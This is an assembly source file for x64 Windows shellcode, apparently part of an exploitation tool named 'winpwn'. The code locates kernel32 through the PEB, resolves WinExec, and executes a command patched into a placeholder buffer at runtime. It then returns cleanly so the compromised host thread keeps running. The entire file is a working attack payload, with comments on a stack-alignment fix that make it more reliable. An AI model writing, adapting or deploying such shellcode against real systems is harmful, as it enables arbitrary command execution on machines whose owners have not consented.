; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
; base via the PEB (no leak/hardcoded address needed), find WinExec by
; name, and run a command. Returns normally (ret) so the host thread keeps
; running afterward.
;
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
; winpwn patches it at runtime with the actual NUL-terminated command
; (see shellcraft.go).
BITS 64
default rel

start:
    ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
    ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
    ; alignment below and still land exactly back on the real return
    ; address afterward. A bare `and rsp, ~0xF` with no matching restore
    ; before `ret` pops whatever garbage is sitting at the shifted address
    ; instead of the caller's actual return address — that's the bug this
    ; replaced (verified by crash: rip ended up pointing into the Go
    ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
    ; behind).
    push rbp
    push r12
    mov rbp, rsp
    and rsp, ~0xF           ; force 16-byte stack alignment, unknown entry state

    call get_kernel32_base
    mov r12, rax             ; r12 = kernel32 base

    mov rcx, r12
    lea rdx, [rel name_winexec]
    call find_export
    ; rax = WinExec address

    lea rcx, [rel cmd_buf]
    mov edx, 5                ; SW_SHOW
    sub rsp, 0x20               ; shadow space required before any WinAPI call
    call rax
    add rsp, 0x20

    mov rsp, rbp
    pop r12
    pop rbp
    ret

%include "resolver.inc"

name_winexec: db "WinExec", 0

align 8
cmd_buf:
    times 260 db 0
